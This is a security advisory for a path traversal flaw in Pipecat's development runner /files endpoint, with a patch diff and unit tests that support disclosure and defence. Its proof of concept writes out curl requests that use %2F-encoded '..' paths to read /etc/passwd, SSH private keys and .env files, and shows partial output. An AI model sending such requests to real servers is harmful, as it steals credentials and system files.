VYPR
High severity7.5GHSA Advisory· Published May 15, 2026· Updated May 15, 2026

Pipecat: Path Traversal in Pipecat Runner `/files` Endpoint — Arbitrary File Read via `%2F`-Encoded Separator

CVE-2026-44716

Description

Summary

A path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded *after* routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request.

Confirmed on pipecat-ai 1.1.0 (latest PyPI release) and commit f078df78058ae82a02ce5b23e9e3a99a0917a53d.

---

Details

The vulnerable code is in src/pipecat/runner/run.py, inside the _configure_server_app() function, lines 249–264:

@app.get("/files/{filename:path}")
async def download_file(filename: str):
    """Handle file downloads."""
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    file_path = Path(args.folder) / filename          # ← no containment check
    if not os.path.exists(file_path):
        raise HTTPException(404)

    media_type, _ = mimetypes.guess_type(file_path)

    return FileResponse(path=file_path, media_type=media_type, filename=filename)

Path(args.folder) / filename joins the caller-supplied filename onto the base directory without calling .resolve() or checking is_relative_to. Python's pathlib does not strip .. segments during join — only .resolve() does. Starlette strips literal ../ from the *URL path* before the route handler runs, but it decodes percent-encoded characters *inside* the matched path parameter value. Because %2F decodes to / after the router has already matched the route, the value that reaches filename can contain / characters, enabling directory traversal.

For example:

GET /files/..%2F..%2Fetc%2Fpasswd
                   ↓
filename = "../../etc/passwd"          (after Starlette decodes %2F)
file_path = Path("/tmp/media") / "../../etc/passwd"
          = Path("/tmp/media/../../etc/passwd")
          → resolves to /etc/passwd    (os.path.exists returns True)

The endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials.

---

Proof of

Concept

Step 1 — Start the Pipecat runner with --folder

The runner requires a bot script with a bot() entry point. A minimal script that keeps the HTTP server alive without any transport logic:

# minimal_bot.py
async def bot(runner_args):
    import asyncio
    await asyncio.sleep(86400)

if __name__ == "__main__":
    from pipecat.runner.run import main
    main()

Start the runner:

pip install "pipecat-ai[runner,webrtc]"

mkdir /tmp/bot_media
echo "session transcript" > /tmp/bot_media/recording.txt

python minimal_bot.py \
    -t webrtc \
    --host 127.0.0.1 \
    --port 7860 \
    --folder /tmp/bot_media

Expected output: <img width="1626" height="462" alt="image" src="https://github.com/user-attachments/assets/912e8ea2-cff9-4a36-a6be-e85091d9f89f" />

Step 2 — Exploit

# Legitimate request — serves a file inside --folder
curl "http://127.0.0.1:7860/files/recording.txt"
# → session transcript

# Literal ../ — blocked by Starlette path normalisation
curl "http://127.0.0.1:7860/files/../../etc/passwd"
# → {"detail":"Not Found"}

# %2F-encoded separators — bypass normalisation, read /etc/passwd
curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd"
# →

## User

Database
#   root:*:0:0:System Administrator:/var/root:/bin/sh
#   ...

# Read SSH private key
curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa"
# → -----BEGIN OPENSSH PRIVATE KEY-----
#   b3BlbnNzaC1rZXktdjEAAAA...

# Read application secrets
curl "http://127.0.0.1:7860/files/..%2F..%2F.env"

Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)

| Request | HTTP status | Content | |---------|-------------|---------| | GET /files/recording.txt | 200 | Legitimate file | | GET /files/../../etc/passwd | 404 | Blocked — literal .. normalised away | | GET /files/..%2F..%2Fetc%2Fpasswd | 200 | Full /etc/passwd | | GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa | 200 | RSA private key (BEGIN OPENSSH PRIVATE KEY) | <img width="2222" height="516" alt="image" src="https://github.com/user-attachments/assets/4c7a014c-8646-479a-8439-b8e722a69e49" /> <img width="1304" height="314" alt="image" src="https://github.com/user-attachments/assets/14f71b3f-2a35-4d2b-8049-8af758fbc6ba" /> <img width="1188" height="390" alt="image" src="https://github.com/user-attachments/assets/53fe2b33-2cd3-4745-b9f2-7aa426318e00" />

---

Impact

The --folder flag is a documented, first-class feature of the runner: the runner_downloads_folder() helper and -f / --folder CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (--host 192.168.1.100 for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.

An attacker who can reach the runner port and knows --folder is active can retrieve any file readable by the pipecat process:

  • SSH private keys and TLS certificates
  • .env files and application credentials
  • Database files, session tokens, API keys
  • System files such as /etc/passwd and /etc/shadow (on Linux)
  • Source code, config files, and secrets in parent directories of --folder

---

Remediation

Call .resolve() on both the base path and the joined path, then assert containment with is_relative_to:

@app.get("/files/{filename:path}")
async def download_file(filename: str):
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    allowed_base = Path(args.folder).resolve()
    file_path = (allowed_base / filename).resolve()   # resolve AFTER join

    if not file_path.is_relative_to(allowed_base):    # containment check
        raise HTTPException(status_code=403, detail="Access denied")
    if not file_path.exists():
        raise HTTPException(status_code=404)

    media_type, _ = mimetypes.guess_type(file_path)
    return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)

Path.resolve() expands all .. components and follows symlinks before is_relative_to compares the paths, so neither %2F-encoded separators nor symlink chains can escape the allowed base.

Affected products

1

Patches

1
7519c26ac550

Merge pull request #4417 from pipecat-ai/mb/resolve-runner-filepath

https://github.com/pipecat-ai/pipecatMark BackmanMay 4, 2026via ghsa
5 files changed · +103 5
  • changelog/4417.security.md+1 0 added
    @@ -0,0 +1 @@
    +- Fixed a path traversal issue in the development runner's `/files/{filename:path}` download endpoint. Previously, when the runner was started with `--folder`, a request like `/files/..%2F..%2Fetc%2Fpasswd` could escape the configured folder because `%2F`-encoded separators bypassed Starlette's path normalisation. The endpoint now resolves the joined path and rejects any filename that escapes the allowed base with a 403, and also returns 404 (instead of an implicit `null` 200) when `--folder` is unset.
    
  • .github/workflows/coverage.yaml+1 0 modified
    @@ -42,6 +42,7 @@ jobs:
                 --extra langchain \
                 --extra livekit \
                 --extra piper \
    +            --extra runner \
                 --extra sagemaker \
                 --extra tracing \
                 --extra websocket
    
  • .github/workflows/tests.yaml+1 0 modified
    @@ -46,6 +46,7 @@ jobs:
                 --extra langchain \
                 --extra livekit \
                 --extra piper \
    +            --extra runner \
                 --extra sagemaker \
                 --extra tracing \
                 --extra websocket
    
  • src/pipecat/runner/run.py+16 5 modified
    @@ -209,6 +209,17 @@ def _configure_server_app(args: argparse.Namespace):
             logger.warning(f"Unknown transport type: {args.transport}")
     
     
    +def _resolve_download_path(folder: str, filename: str) -> Path:
    +    """Resolve a download path and ensure it stays within the downloads folder."""
    +    allowed_base = Path(folder).resolve()
    +    file_path = (allowed_base / filename).resolve()
    +
    +    if not file_path.is_relative_to(allowed_base):
    +        raise HTTPException(status_code=403, detail="Access denied")
    +
    +    return file_path
    +
    +
     def _setup_webrtc_routes(app: FastAPI, args: argparse.Namespace):
         """Set up WebRTC-specific routes."""
         try:
    @@ -250,16 +261,16 @@ async def root_redirect():
         async def download_file(filename: str):
             """Handle file downloads."""
             if not args.folder:
    -            logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
    -            return
    +            logger.warning(f"Attempting to download {filename}, but downloads folder not setup.")
    +            raise HTTPException(404)
     
    -        file_path = Path(args.folder) / filename
    -        if not os.path.exists(file_path):
    +        file_path = _resolve_download_path(args.folder, filename)
    +        if not file_path.exists():
                 raise HTTPException(404)
     
             media_type, _ = mimetypes.guess_type(file_path)
     
    -        return FileResponse(path=file_path, media_type=media_type, filename=filename)
    +        return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)
     
         # Initialize the SmallWebRTC request handler
         small_webrtc_handler: SmallWebRTCRequestHandler = SmallWebRTCRequestHandler(
    
  • tests/test_runner_downloads.py+84 0 added
    @@ -0,0 +1,84 @@
    +#
    +# Copyright (c) 2024-2026, Daily
    +#
    +# SPDX-License-Identifier: BSD 2-Clause License
    +#
    +
    +import os
    +import tempfile
    +import unittest
    +from pathlib import Path
    +
    +from fastapi import HTTPException
    +
    +from pipecat.runner.run import _resolve_download_path
    +
    +
    +class TestRunnerDownloads(unittest.TestCase):
    +    def test_resolve_download_path_allows_files_inside_folder(self):
    +        with tempfile.TemporaryDirectory() as tmpdir:
    +            downloads = Path(tmpdir) / "downloads"
    +            nested = downloads / "nested"
    +            nested.mkdir(parents=True)
    +            file_path = nested / "recording.txt"
    +            file_path.write_text("session transcript")
    +
    +            resolved = _resolve_download_path(str(downloads), "nested/recording.txt")
    +
    +            self.assertEqual(resolved, file_path.resolve())
    +
    +    def test_resolve_download_path_blocks_parent_traversal(self):
    +        with tempfile.TemporaryDirectory() as tmpdir:
    +            root = Path(tmpdir)
    +            downloads = root / "downloads"
    +            downloads.mkdir()
    +            (root / "secret.txt").write_text("secret")
    +
    +            with self.assertRaises(HTTPException) as context:
    +                _resolve_download_path(str(downloads), "../secret.txt")
    +
    +            self.assertEqual(context.exception.status_code, 403)
    +
    +    def test_resolve_download_path_blocks_decoded_encoded_slashes(self):
    +        with tempfile.TemporaryDirectory() as tmpdir:
    +            root = Path(tmpdir)
    +            downloads = root / "media"
    +            downloads.mkdir()
    +            outside = root / "outside"
    +            outside.mkdir()
    +            (outside / "secret.txt").write_text("secret")
    +
    +            with self.assertRaises(HTTPException) as context:
    +                _resolve_download_path(str(downloads), "../outside/secret.txt")
    +
    +            self.assertEqual(context.exception.status_code, 403)
    +
    +    def test_resolve_download_path_blocks_absolute_paths(self):
    +        with tempfile.TemporaryDirectory() as tmpdir:
    +            downloads = Path(tmpdir) / "downloads"
    +            downloads.mkdir()
    +
    +            with self.assertRaises(HTTPException) as context:
    +                _resolve_download_path(str(downloads), "/etc/passwd")
    +
    +            self.assertEqual(context.exception.status_code, 403)
    +
    +    @unittest.skipUnless(hasattr(os, "symlink"), "os.symlink is not available")
    +    def test_resolve_download_path_blocks_symlink_escape(self):
    +        with tempfile.TemporaryDirectory() as tmpdir:
    +            root = Path(tmpdir)
    +            downloads = root / "downloads"
    +            outside = root / "outside"
    +            downloads.mkdir()
    +            outside.mkdir()
    +            (outside / "secret.txt").write_text("secret")
    +
    +            try:
    +                os.symlink(outside, downloads / "linked")
    +            except OSError as e:
    +                self.skipTest(f"Unable to create symlink: {e}")
    +
    +            with self.assertRaises(HTTPException) as context:
    +                _resolve_download_path(str(downloads), "linked/secret.txt")
    +
    +            self.assertEqual(context.exception.status_code, 403)
    

Vulnerability mechanics

AI mechanics synthesis has not run for this CVE yet.

References

5

News mentions

0

No linked articles in our index yet.